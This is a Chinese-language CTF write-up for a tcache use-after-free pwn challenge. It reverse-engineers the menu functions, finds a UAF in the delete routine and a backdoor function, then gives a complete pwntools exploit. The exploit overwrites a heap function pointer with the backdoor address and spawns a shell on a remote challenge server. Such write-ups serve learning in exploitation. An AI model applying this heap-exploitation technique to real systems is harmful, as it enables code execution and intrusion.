tcache_UAF

tcache_UAF_level_1

tcache_UAF_level_1_分析1

  • check一下题目附件,发现没有开启pie保护。

image-20250124211842138

  • 然后对该附件进行逆向分析,使用IDA pro将该附件反编译,得到如下结果

    • 函数的具体执行流程就是先输出菜单,然后要求用户输入选项(输入字符形式的1、2、3、4)

    • 然后atoi就会将用户输入的字符形式的数字,转换为整型(这个过程就是然用户选择)

    • 选择1执行add操作,选择2执行dele,选择3执行show,选择4执行exit

image-20250124211858977

  • 之后就先查看add()函数执行的操作

    • 先检查申请堆块的个数有没超过7个,没操作7个就会先申请一个0x10大小的堆块,该堆块后0x8字节存放打印函数的地址

    • 之后申请用户指定的堆块,将该堆块地址,存入之前申请堆块的前0x8字节中

    • 再向用户可以指定申请的堆块输入内容。

    • 最后count自增

image-20250124211914205

  • 这边有两个全局变量count(整型的全局变量),girlfriends(指针类型的全局变量),准确来说是一个指针数组的全局变量有7个元素girlfriends[7]

image-20250124211929366

  • 所以整个堆块的结构就如下:

image-20250124211938914

  • 接下来查看dele
    • 大致逻辑就是,释放用户指定索引的堆块并且存在uaf漏洞

image-20250124211954265

  • 查看show函数
    • 利用函数指针的形式调用自定义函数,输出girlfriend_name堆块的内容

image-20250124212004880

  • 还发现有一个后门函数,可以直接getshell

image-20250124212016579

tcache_UAF_level_1_分析2

  • 这题的基本思路就是通过UAF漏洞,将0x10的那个堆块,申请到用来写入name的堆块,然后我们修改print_girlfriend_name的地址为backdoor的地址,之后再通过show调用print_girlfriend_name的地址,实际上我们去调用的是backdoor
  • 通过动态调试发现,只有girlfriend[0]这个可以输出内容和释放堆块。

image-20250124212028249

  • 所以我们一开始要申请一个size位不是0x20的堆块,再释放这两个堆块,此时girlfriend[0]没有置0,就会导致uaf

image-20250124212045665

  • 当我们再次申请一个堆块的时候就会发现,add的这一步不会再执行一遍。

image-20250124212055516

  • 所以当我们再次申请一个size0x20大小的堆块,就会将girlfriend[0]所指向的堆块申请回来,我们这时就可以对该堆块进行修改。直接将该堆块修改为backdoor函数的地址,再调用show函数就可以getshell

tcache_UAF_level_1_exp

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(log_level='debug')
p = remote('node5.buuoj.cn',26182)
#p = process('./ydsneedgirlfriend2')
#gdb.attach(p)
def add(length,name):
p.sendlineafter(b'u choice :\n',b'1')
p.sendlineafter(b'of her name:\n',str(length).encode('utf-8'))
p.sendlineafter(b'me her name:',name)

def dele(index):
p.sendlineafter(b'u choice :\n',b'2')
p.sendlineafter(b'Index :',str(index).encode('utf-8'))

def show(index):
p.sendlineafter(b'u choice :\n',b'3')
p.sendlineafter(b'Index :',str(index).encode('utf-8'))

add(100,b'aaaa')
pause()
dele(0)
add(0x10,p64(0x6020A0+0x30)+p64(0x400D86))
show(0)
p.interactive()

image-20250124212127392